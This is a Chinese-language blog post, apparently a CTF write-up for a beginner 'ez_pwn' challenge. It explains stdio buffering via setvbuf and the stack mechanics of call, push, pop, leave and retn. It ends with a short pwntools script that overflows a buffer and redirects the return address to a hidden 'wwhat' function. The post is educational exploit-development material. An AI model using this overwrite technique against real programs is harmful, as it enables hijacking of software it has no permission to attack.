简单的栈溢出

ez_pwn

遇到的问题

  1. 前面三个
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
    这个是取消这三个stdio函数的缓冲,
    stdio函数有个缓冲机制,输入的 内容比如
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main() {
printf("hello");
char* a;
read(0,a,100);
return 0;
}

这里hello 如果 printf里面没有\n就会保存到 缓冲区里面,不输出到终端,
指导遇到 调用下一个stdio 里面的标准输入输出函数 的时候会刷新stdio的状态
或者在整个程序结束的时候释放缓冲区里面的内容再输出.
这里的read是系统调用syscall
表示从 某个fd(文件描述符)读取数据到内存
(挖个坑后面可能会讲一下文件描述符和系统调用,是的.只是挖坑)
anyway看了半天,讲文件描述符的后面一起看吧,
反正就是这个
setvbuf(stdin, 0LL, 2, 0LL);比如就是把stdin这个函数的int setvbuf(FILE *stream, char *buf, int mode, size_t size);2 指的是#define _IONBF 2 就是没有缓冲区
各种缓冲区

1
2
3
4
  _IOFBF // full buffering,全缓冲  ,等缓冲区满、程序退出、手动 `fflush` 时才输出
_IOLBF // line buffering,行缓冲 ,\n输出
_IONBF // no buffering,无缓冲,直接输出


之后这样设置我们printf 无论怎样都是直接输出了

这里其实是一个最简单的栈溢出,难度不高.
原因是call这个指令在进入另一个函数的时候,
call 是把一个rip 的当前地址 push入栈, 然后再 jmp到函数地址.
push 是 例如 push rbp,把栈底的寄存器 ,先扩大栈 让rsp生长保存到rsp 保存的栈顶存放的内存

1
2
sub rsp, 8
mov [rsp], rbp

pop 比如 pop rbp .和 push相反,先把[rsp] (栈顶)地址保存的内存放回rbp中.然后让rsp 地址增长,栈收回 8字节.

1
2
mov rbp, [rsp]
add rsp, 8

retn
这配合leave和retn一起讲
leave相当于

1
2
mov rsp, rbp
pop rbp

把 先弹出 收回当前函数开辟的栈, 因为之前是把在rsp 作为开始的栈底 ,之上重新开辟了一个栈,也返回了上个函数的栈顶,所以这里我们可以结束就 把 这个函数开辟的栈空间销毁掉.然后pop回退 把之前保存的上个函数的栈底部 返回.
其实新进入的函数就是把上个函数的栈顶作为栈底然后 之前的rbp就保存了.

然后retn 就是pop rip然后
jmp rip就行了.

我们知道rip其实 是rbp上面所以这里给了100字节完全是够的

我们只需要把rip 的地址,计算一下偏移先把buf填充满. 虽然没必要我们还是保持rbp和之前一致,然后再 把rip的内容改成 wwhat这个函数的地址.


```from pwn import *
context.arch ="amd64"
context.os ="linux"
context.log_level="debug"
elf= ELF("./pwn")
def start():
    if args.REMOTE:
        return remote("HOST",PORT)
    else:
        return process("./pwn")
io =start()
offest=0x30
rbp=0x7fffffffd4a0
wwhat=0x4011f7
payload =flat([b"A"*offest,rbp,wwhat])
io.sendlineafter(b"Just say something...", payload)

io.interactive()

简单的栈溢出
http://example.com/2026/06/11/month-stack/
Beitragsautor
fox
Veröffentlicht am
June 11, 2026
Urheberrechtshinweis